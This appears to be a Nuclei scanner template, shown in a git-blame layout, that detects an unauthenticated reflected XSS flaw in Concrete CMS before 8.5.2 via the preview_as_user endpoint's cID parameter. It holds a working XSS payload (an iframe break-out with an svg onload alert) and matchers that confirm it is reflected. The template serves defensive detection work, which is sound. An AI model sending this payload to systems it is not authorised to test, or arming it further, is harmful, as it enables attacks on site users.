2022-08-15 21:55:19 +00:00
|
|
|
id: concrete-xss
|
2022-08-14 13:18:48 +00:00
|
|
|
|
|
|
|
info:
|
2022-08-15 21:55:19 +00:00
|
|
|
name: Concrete - Unauthenticated Reflected XSS in preview_as_user function
|
|
|
|
author: shifacyclewla,hackergautam,djoevanka
|
|
|
|
severity: medium
|
|
|
|
description: The Concrete CMS < 8.5.2 is vulnerable to Reflected XSS using cID parameter.
|
2022-08-14 13:18:48 +00:00
|
|
|
reference:
|
2022-08-15 21:55:19 +00:00
|
|
|
- https://hackerone.com/reports/643442
|
|
|
|
- https://github.com/concrete5/concrete5/pull/7999
|
2022-08-14 13:18:48 +00:00
|
|
|
- https://twitter.com/JacksonHHax/status/1389222207805661187
|
2022-08-27 04:41:18 +00:00
|
|
|
tags: hackerone,concrete,xss,cms,unauth
|
2022-08-14 13:18:48 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
2022-08-15 21:55:19 +00:00
|
|
|
- '{{BaseURL}}/ccm/system/panels/page/preview_as_user/preview?cID="></iframe><svg/onload=alert("{{randstr}}")>'
|
|
|
|
|
2022-08-14 13:18:48 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2022-08-15 21:55:19 +00:00
|
|
|
- type: word
|
|
|
|
part: body
|
2022-08-14 13:18:48 +00:00
|
|
|
words:
|
2022-08-15 21:55:19 +00:00
|
|
|
- '</iframe><svg/onload=alert("{{randstr}}")>'
|
2022-08-14 13:18:48 +00:00
|
|
|
|
2022-08-15 21:55:19 +00:00
|
|
|
- type: word
|
2022-08-14 13:18:48 +00:00
|
|
|
part: header
|
2022-08-15 21:55:19 +00:00
|
|
|
words:
|
|
|
|
- "text/html"
|
|
|
|
- "CONCRETE5"
|
|
|
|
condition: and
|
|
|
|
|
|
|
|
- type: status
|
2022-08-14 13:18:48 +00:00
|
|
|
status:
|
|
|
|
- 200
|